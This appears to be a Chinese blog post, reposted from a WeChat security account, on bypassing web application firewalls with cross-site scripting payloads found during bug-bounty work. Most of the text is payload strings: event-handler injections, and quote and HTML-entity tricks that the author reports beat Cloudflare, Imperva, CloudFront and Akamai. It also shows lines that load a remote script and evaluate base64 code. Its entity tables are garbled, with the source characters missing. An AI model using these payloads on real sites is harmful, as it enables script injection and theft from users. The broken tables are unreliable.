当我开始漏洞奖励时,一个主要障碍是 WAF 阻止了我的 XSS 注入。
所以我的任务是找到一个“通用”的有效负载,在大多数情况下都有效
起初,我遇到了带有 cloudflare 的程序,尽管可以通过 GitHub 或 Twitter 上提供的各种有效负载来绕过著名的 cloudflare。以下是我在测试中使用的一些示例。
一种常用的方法是在任何 JavaScript 事件前加上on前缀
<img/ignored=()%0Asrc=x%0Aonerror=prompt(1)>
<svg onload=prompt%26%230000000040document.domain)>
<Img Src=On OnError=alert(1)>
我的目标是发现一个 js 事件绕过负载,用于带双引号的 XSS 注入,以防无法重新打开标签和经典标签注入
" onerror[JS]
<img src=x onerror=[JS]>
在寻找神奇有效负载的过程中,我发现了几个可能的注入点。然而,大多数角色都因为被列入黑名单而被WAF屏蔽。我查看了事件的左侧,发现通过在 JavaScript 事件名称前添加一个字符,有效负载被接受。
onerror=[JS]返回403有效
/onerror=[JS]返回403有效
aonerror=[JS]返回200无效
所以我一直在考虑可以与事件名称连接的引号:
<x ""onerror=[JS]>返回200无效
<x x="""onerror=[JS]>返回200无效
<x x=""onerror=[JS]>返回403有效
当输入奇数时,它可以工作,但无效,因为引号将连接到事件名称。我想我应该尝试使用实体,它们是某些特殊字符的别名:
通过用实体别名替换中间引号,有效负载有效并绕过 WAF!!!!
<x x="""onerror=[JS]>
当 & 字符未被过滤时,Html 实体非常有用。据我所知,有 3 种类型可用:
-
用于绕过的命名实体
-> '
-> "
-> `
-> `
-> (
-> )
-> {
-> }
-> &
-> <
-> >
n -> 

t -> 	
nbsp ->
-> \
-
十六进制实体
-> '
-> "
-> `
-> (
-> {
-> }
-> &
-> <
-> >
n -> 

t -> 	
nbsp ->  
-> \
-
数字实体
-> '
-> "
-> `
-> (
-> )
-> {
-> }
-> &
-> <
-> >
n ->
t -> 	
nbsp ->  
-> \
使用数字和十六进制实体,真正方便的是您可以添加任意数量的 0,通常过滤效果非常差
" -> " -> " Numeric entity
" -> " -> " Hex entity
就我个人而言,一旦检测到 xss,我经常使用它来加载我的脚本,通过import加载远程脚本或执行大型 base64 eval :
import('https://example.com')
eval(atob('BASE64==='))
回到 WAF 旁路,现在在某些 WAF 上此负载有效吗?我尝试了我的范围内更知名的:
渗透与封装
非常适合 imperva 和 incapsula :
<details/open/id="""ontoggle=[JS]>
它也适用于 Amazon WAfs、Cloudfront
<details/open/id="""ontoggle=[JS]>
对于 Akamai,我必须添加其他引号才能使其正常工作
<details open id="' "'"ontoggle=[JS]>
原文始发于微信公众号(Ots安全):XSS WAF 绕过 一种负载适用于所有人
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论